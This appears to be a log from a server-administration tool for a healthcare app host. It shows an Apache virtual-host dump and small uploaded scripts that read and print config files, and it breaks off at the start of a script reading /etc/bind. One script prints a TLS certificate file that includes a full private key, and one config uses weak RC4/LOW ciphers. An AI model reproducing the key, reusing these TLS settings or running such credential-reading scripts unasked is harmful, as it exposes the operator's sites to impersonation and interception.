         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
         port 80 namevhost vela.work (/etc/apache2/sites-enabled/vela_www_work.conf:2)
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
         port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
         port 443 namevhost vela.work (/etc/apache2/sites-enabled/vela_www_work.conf:23)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-15 15:11:46: 

PUT: /tmp/pkp623439

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/patientapps_shop_co.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-15 15:11:47: 

chmod 755 /tmp/pkp623439; /tmp/pkp623439; rm /tmp/pkp623439

2026-04-15 15:11:47: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_shop_co.conf	1360

<VirtualHost *:80>
    ServerName	shop.patientapps.co
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_shop
    <Directory /var/www/patientapps_shop>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/shop_access.log combined
    ErrorLog	/var/log/apache2/patientapps/shop_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    SetEnv ENV	sandbox
    DirectoryIndex	index.php index.html index.htm
</VirtualHost>

<VirtualHost *:443>
    ServerName	shop.patientapps.co
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99
    DocumentRoot	/var/www/patientapps_shop
    <Directory /var/www/patientapps_shop>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/shop_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/shop_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    SetEnv ENV	sandbox
    DirectoryIndex	index.php index.html index.htm
</VirtualHost>







2026-04-15 15:11:47: 

PUT: /tmp/pkp830943

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-15 15:11:47: 

chmod 755 /tmp/pkp830943; /tmp/pkp830943; rm /tmp/pkp830943

2026-04-15 15:11:47: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99	5357
f3:4e:b9:ce:f3:c7:ed:99:5f:47:bc:55:53:86:ca:d3

-----BEGIN CERTIFICATE-----
MIIFATCCA+mgAwIBAgISBVq5EWMwT8JRhowtOIRA1fgmMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNDE1MTQxMzE0WhcNMjYwNzE0MTQxMzEzWjAeMRwwGgYDVQQD
ExNzaG9wLnBhdGllbnRhcHBzLmNvMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAvIwQHC25SFA1YtBmIHPa27lLRv20PQR5m61EOL3tXO4HbkbOJu3xniE3
ciSmEaZ9CRfTJdpUgBdNyE4vTFGzQWF8hqQ4PaKGr3fUTzB+Zz6s5X06ASUaXtwB
t/2ph6EnxYxoaMrzJ7np0PE5NUCuU3JF+V4WSLPB6IMZvL2qB8awS1i+z5XgwGQx
oDeVe+i30muswLqf+qol4nOSYJj+6zbc7mJifGN9o0HydbxMclm0ceI3v/xwmaOK
2qOpqQmKzkAOyyPb200ytuEJUa5GEfXgh0QdDeCelVUvuARo3i6ShZUSIbYcN5PB
n30QgViPAQARro9ztUa5/rSh7vWXMQIDAQABo4ICIjCCAh4wDgYDVR0PAQH/BAQD
AgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYE
FCif9iipikdOTZGTum2t79kt0b6vMB8GA1UdIwQYMBaAFAC1KfItjm8x6JtMrXg+
+tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMi5p
LmxlbmNyLm9yZy8wHgYDVR0RBBcwFYITc2hvcC5wYXRpZW50YXBwcy5jbzATBgNV
HSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8vcjEyLmMu
bGVuY3Iub3JnLzM5LmNybDCCAQ0GCisGAQQB1nkCBAIEgf4EgfsA+QB2ANdtfRDR
p/V3wsfpX9cAv/mCyTNaZeHQswFzF8DIxWl3AAABnZGyw38AAAQDAEcwRQIhANau
OruX7Hs5uzIKriq4iQECYRMfgFN7Zz1O1Eb98uTQAiAWwGT7+jmolFH0XAmbj33q
X7fbX2r9jmwieIryxlB2KwB/AGz+UBlDqF6pFrxS0TPk3Mke8UEcfSWEINFzgJ4Y
GOs6AAABnZGyw/8ACAAABQAHVJCPBAMASDBGAiEA7NY0bPuGSpbocEocFFs19Btj
eUY9A14OnRl+Hn9Vcq0CIQDKooynz5HdD7tOrvuhGwkIYE8chOSRkM+ueppFbbsi
bjANBgkqhkiG9w0BAQsFAAOCAQEAuk5y0JsGxVwX3F7nrvaLs/15q9PUpK0fsVN8
3LGO5diIKIo/aPtBdCwkoYl0/f+gll/eqeHZPOwTLpoEvrKc0wdlddbFgg0+1Fl+
BfsMikEPzW0M2Wc73+OK445KK9HZPKn/7O2uqzymUnSmFxT2PjODTNXDBtLWJBgk
T4ovcls2WdY3ibTUM1Azm50ia19x/JChFSNowZjFJDpQ+u4O9jcSR9BE3jbQsEjS
U4oY7gpMIci7QOPm4moi74ewtO76ZddY1IFToWsoYY5wqSrBEH6iM0ZF0ABRyo/R
LY5CKFjIZVYDjv5xR5ihRAb2ssN6ljCSzopiVpw+bfAzqptWig==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC8jBAcLblIUDVi
0GYgc9rbuUtG/bQ9BHmbrUQ4ve1c7gduRs4m7fGeITdyJKYRpn0JF9Ml2lSAF03I
Ti9MUbNBYXyGpDg9ooavd9RPMH5nPqzlfToBJRpe3AG3/amHoSfFjGhoyvMnuenQ
8Tk1QK5TckX5XhZIs8Hogxm8vaoHxrBLWL7PleDAZDGgN5V76LfSa6zAup/6qiXi
c5JgmP7rNtzuYmJ8Y32jQfJ1vExyWbRx4je//HCZo4rao6mpCYrOQA7LI9vbTTK2
4QlRrkYR9eCHRB0N4J6VVS+4BGjeLpKFlRIhthw3k8GffRCBWI8BABGuj3O1Rrn+
tKHu9ZcxAgMBAAECggEAD6wWxLjaP1QHc/y9mHH43a2zv6Vj/3RpRVLsKklDOye/
718sUJkTreC18qNwOGRd3U0hLHLO9ky5lu5EyTO7UjJvvuNUl270gg5UU/bEcwGH
LpYvpZu3au4fqHMJze/L1gRbQ2anOoSeFlOOvUnwk5gaj+VNteJXOmP3VjRvtzCc
Y8KDMNd2vd7GFMbppqXF/SycwsnaEoiON1SDrTyOjBXt1L5T6DiTtAAN6MCU1dsx
YdqcWWD7mh4IV1D2fo3tZ3bL8b5i9OluYnuC8jui//GuN8chdiIudVHRwiFmJYQI
DNxHmPomqn7e+pS96cNwyZxLCR6Bdh50f4jE8e7upwKBgQD8W2JzZaXa0XA8JNsM
EPbIXNCc3ONYit+8ogdHd7mydzqSyg1vfFcxR8foysWWJiv92fRvtxBMiMkdHltu
HeSNzE2kA2ALy8FR0iDSVxP7LcKF2b0tjWSPSMJV2B4BPvvUojQPB9rCIOIQPnSV
6mbllSHwyJCcElYUUuRmCVb4swKBgQC/RNyFSzg/xHI17otMmsnd1s7gRCZgZVob
b1XyVm2JR7fexqRKpEr967B2C492S2zisfa/aXTA4VYAXSzqGiCkr/rbWkbYn4SU
mlEx2FcUg/jKwrR8KoabCSvQIC4y2gC8q+MR8GV78OK7fClsBW8QH9neYeqznBUz
+DaQgAw6iwKBgDWG+Ln7bJOeaw0G0EOd8YqMTV+IZtyoEE8Fmz+ogIX/TjhGjVUB
bckxLZEOOZzgmeItcfCkRtvFA8ueXcxcoNcG580LPjsiS+4cAQQ8nitgCGu1xK+9
1v+hcj8dKTggcPAoO5yYkOkuamUBql8GKi82U82r7Sh9py6GapXOE1mLAoGAYWwM
uqQOmYRQ/CFtuG4bJjB0nQx5U54sIE88Qrw8/LCX+hPJuO8n91/mOKo4v3M5mdo1
qVdojZn4+SR8bR0zxU6RgsrfzRSrLhnQA4iDCkMSJQy5a4kpmKw6Mb9CaMpbl74h
YZDF0DRo+EAMxSWbZWYjzb6oEiYNMrRZ7o4aLHMCgYEAsZqOXvjZ8671csPNeVR9
V+PoJRAx9Sqr8+riZUem1gj3YQuPfUsKvfnO3+hNivDWtV4LZWyVJoRN0oq3pPy/
Z/P2LmarY453P8hyHhfgINH8Yohq8oUxrLfJDEVfZZufimjsrLN5GLiQPXL067Nh
YBrziICVeuH6kX/2pt9wwXY=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-04-16 06:00:03: Establishing a remote connection
2026-04-16 10:27:53: Establishing a connection
2026-04-16 10:28:14: Establishing a connection
2026-04-16 10:28:14: 

PUT: /tmp/pkp791314

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
